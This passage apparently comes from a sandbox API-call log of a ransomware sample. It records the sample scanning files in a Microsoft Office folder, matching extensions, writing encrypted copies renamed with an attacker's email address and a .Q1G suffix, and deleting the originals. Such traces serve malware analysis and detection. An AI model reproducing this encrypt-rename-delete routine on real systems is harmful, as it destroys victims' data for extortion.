"c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk")) returned 1 [0257.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0257.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0257.088] lstrlenW (lpString=".doc") returned 4 [0257.088] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0257.088] lstrlenW (lpString=".docx") returned 5 [0257.088] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0257.088] lstrlenW (lpString=".pdf") returned 4 [0257.088] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0257.088] lstrlenW (lpString=".xls") returned 4 [0257.088] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0257.089] lstrlenW (lpString=".xlsx") returned 5 [0257.089] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0257.089] lstrlenW (lpString=".ppt") returned 4 [0257.089] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0257.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0257.089] lstrlenW (lpString=".zip") returned 4 [0257.089] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0257.089] lstrlenW (lpString=".rar") returned 4 [0257.089] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0257.089] lstrlenW (lpString=".bz2") returned 4 [0257.089] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0257.089] lstrlenW (lpString=".7z") returned 3 [0257.089] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0257.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0257.089] lstrlenW (lpString=".dbf") returned 4 [0257.089] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0257.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0257.089] lstrlenW (lpString=".1cd") returned 4 [0257.089] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0257.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0257.089] lstrlenW (lpString=".jpg") returned 4 [0257.089] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0257.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0257.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0257.089] lstrlenW (lpString=".doc") returned 4 [0257.089] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0257.089] lstrlenW (lpString=".docx") returned 5 [0257.089] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0257.089] lstrlenW (lpString=".pdf") returned 4 [0257.089] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0257.089] lstrlenW (lpString=".xls") returned 4 [0257.089] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0257.089] lstrlenW (lpString=".xlsx") returned 5 [0257.089] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0257.089] lstrlenW (lpString=".ppt") returned 4 [0257.090] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0257.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0257.090] lstrlenW (lpString=".zip") returned 4 [0257.090] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0257.090] lstrlenW (lpString=".rar") returned 4 [0257.090] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0257.090] lstrlenW (lpString=".bz2") returned 4 [0257.090] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0257.090] lstrlenW (lpString=".7z") returned 3 [0257.090] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0257.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0257.090] lstrlenW (lpString=".dbf") returned 4 [0257.090] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0257.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0257.090] lstrlenW (lpString=".1cd") returned 4 [0257.090] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0257.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0257.090] lstrlenW (lpString=".jpg") returned 4 [0257.090] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0257.090] lstrcmpiW (lpString1=".VSL", lpString2=".Q1G") returned 1 [0257.090] lstrlenW (lpString="WORKFLOW.VSL") returned 12 [0257.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.091] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=42336) returned 1 [0257.091] CloseHandle (hObject=0x390) returned 1 [0257.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl")) returned 0x20 [0257.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.091] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.091] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.092] GetLastError () returned 0x0 [0257.092] ReadFile (in: hFile=0x390, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xa560, lpOverlapped=0x0) returned 1 [0257.148] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xa570, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xa570, lpOverlapped=0x0) returned 1 [0257.149] ReadFile (in: hFile=0x390, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0257.149] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.149] SetEndOfFile (hFile=0x3e0) returned 1 [0257.150] CloseHandle (hObject=0x3e0) returned 1 [0257.150] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.150] SetEndOfFile (hFile=0x390) returned 1 [0257.152] CloseHandle (hObject=0x390) returned 1 [0257.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.153] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl")) returned 1 [0257.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0257.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0257.153] lstrlenW (lpString=".doc") returned 4 [0257.153] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0257.153] lstrlenW (lpString=".docx") returned 5 [0257.153] lstrcmpiW (lpString1=".docx", lpString2="W.VSL") returned -1 [0257.153] lstrlenW (lpString=".pdf") returned 4 [0257.153] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0257.153] lstrlenW (lpString=".xls") returned 4 [0257.153] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0257.153] lstrlenW (lpString=".xlsx") returned 5 [0257.153] lstrcmpiW (lpString1=".xlsx", lpString2="W.VSL") returned -1 [0257.153] lstrlenW (lpString=".ppt") returned 4 [0257.153] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0257.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0257.153] lstrlenW (lpString=".zip") returned 4 [0257.153] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0257.154] lstrlenW (lpString=".rar") returned 4 [0257.154] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0257.154] lstrlenW (lpString=".bz2") returned 4 [0257.154] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0257.154] lstrlenW (lpString=".7z") returned 3 [0257.154] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0257.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0257.154] lstrlenW (lpString=".dbf") returned 4 [0257.154] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0257.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0257.154] lstrlenW (lpString=".1cd") returned 4 [0257.154] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0257.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0257.154] lstrlenW (lpString=".jpg") returned 4 [0257.154] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0257.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0257.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0257.154] lstrlenW (lpString=".doc") returned 4 [0257.154] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0257.154] lstrlenW (lpString=".docx") returned 5 [0257.154] lstrcmpiW (lpString1=".docx", lpString2="W.VSL") returned -1 [0257.154] lstrlenW (lpString=".pdf") returned 4 [0257.154] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0257.154] lstrlenW (lpString=".xls") returned 4 [0257.154] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0257.154] lstrlenW (lpString=".xlsx") returned 5 [0257.154] lstrcmpiW (lpString1=".xlsx", lpString2="W.VSL") returned -1 [0257.154] lstrlenW (lpString=".ppt") returned 4 [0257.154] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0257.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0257.154] lstrlenW (lpString=".zip") returned 4 [0257.154] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0257.154] lstrlenW (lpString=".rar") returned 4 [0257.154] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0257.154] lstrlenW (lpString=".bz2") returned 4 [0257.154] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0257.155] lstrlenW (lpString=".7z") returned 3 [0257.155] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0257.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0257.155] lstrlenW (lpString=".dbf") returned 4 [0257.155] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0257.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0257.155] lstrlenW (lpString=".1cd") returned 4 [0257.155] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0257.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0257.155] lstrlenW (lpString=".jpg") returned 4 [0257.155] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0257.155] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Q1G") returned -1 [0257.155] lstrlenW (lpString="WWINTL.REST.IDX_DLL") returned 19 [0257.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.408] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=614784) returned 1 [0257.408] CloseHandle (hObject=0x3e0) returned 1 [0257.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll")) returned 0x20 [0257.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.413] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.413] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0257.418] GetLastError () returned 0x0 [0257.418] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x96180, lpOverlapped=0x0) returned 1 [0257.432] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x96190, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x96190, lpOverlapped=0x0) returned 1 [0257.443] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0257.443] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xfa, lpOverlapped=0x0) returned 1 [0257.443] SetEndOfFile (hFile=0x3b8) returned 1 [0257.443] CloseHandle (hObject=0x3b8) returned 1 [0257.443] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.443] SetEndOfFile (hFile=0x3e0) returned 1 [0257.467] CloseHandle (hObject=0x3e0) returned 1 [0257.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll")) returned 1 [0257.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0257.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0257.477] lstrlenW (lpString=".doc") returned 4 [0257.477] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0257.477] lstrlenW (lpString=".docx") returned 5 [0257.477] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0257.477] lstrlenW (lpString=".pdf") returned 4 [0257.477] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0257.477] lstrlenW (lpString=".xls") returned 4 [0257.477] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0257.477] lstrlenW (lpString=".xlsx") returned 5 [0257.477] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0257.477] lstrlenW (lpString=".ppt") returned 4 [0257.477] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0257.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0257.477] lstrlenW (lpString=".zip") returned 4 [0257.477] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0257.477] lstrlenW (lpString=".rar") returned 4 [0257.477] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0257.478] lstrlenW (lpString=".bz2") returned 4 [0257.478] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0257.478] lstrlenW (lpString=".7z") returned 3 [0257.478] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0257.478] lstrlenW (lpString=".dbf") returned 4 [0257.478] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0257.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0257.478] lstrlenW (lpString=".1cd") returned 4 [0257.478] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0257.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0257.478] lstrlenW (lpString=".jpg") returned 4 [0257.478] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0257.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0257.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0257.478] lstrlenW (lpString=".doc") returned 4 [0257.478] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0257.478] lstrlenW (lpString=".docx") returned 5 [0257.478] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0257.478] lstrlenW (lpString=".pdf") returned 4 [0257.478] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0257.478] lstrlenW (lpString=".xls") returned 4 [0257.478] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0257.478] lstrlenW (lpString=".xlsx") returned 5 [0257.478] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0257.478] lstrlenW (lpString=".ppt") returned 4 [0257.478] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0257.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0257.478] lstrlenW (lpString=".zip") returned 4 [0257.478] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0257.478] lstrlenW (lpString=".rar") returned 4 [0257.478] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0257.478] lstrlenW (lpString=".bz2") returned 4 [0257.478] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0257.478] lstrlenW (lpString=".7z") returned 3 [0257.479] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0257.479] lstrlenW (lpString=".dbf") returned 4 [0257.479] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0257.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0257.479] lstrlenW (lpString=".1cd") returned 4 [0257.479] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0257.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0257.479] lstrlenW (lpString=".jpg") returned 4 [0257.479] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0257.479] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Q1G") returned -1 [0257.479] lstrlenW (lpString="XLSLICER.DLL.IDX_DLL") returned 20 [0257.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0257.518] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=12672) returned 1 [0257.518] CloseHandle (hObject=0x3b8) returned 1 [0257.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll")) returned 0x20 [0257.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0257.611] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.611] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0257.636] GetLastError () returned 0x0 [0257.636] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x3180, lpOverlapped=0x0) returned 1 [0257.640] WriteFile (in: hFile=0x3dc, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x3190, lpOverlapped=0x0) returned 1 [0257.641] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0257.641] WriteFile (in: hFile=0x3dc, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xfc, lpOverlapped=0x0) returned 1 [0257.641] SetEndOfFile (hFile=0x3dc) returned 1 [0257.641] CloseHandle (hObject=0x3dc) returned 1 [0257.641] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.641] SetEndOfFile (hFile=0x3c0) returned 1 [0257.644] CloseHandle (hObject=0x3c0) returned 1 [0257.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll")) returned 1 [0257.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0257.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0257.701] lstrlenW (lpString=".doc") returned 4 [0257.701] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0257.701] lstrlenW (lpString=".docx") returned 5 [0257.701] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0257.701] lstrlenW (lpString=".pdf") returned 4 [0257.702] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0257.702] 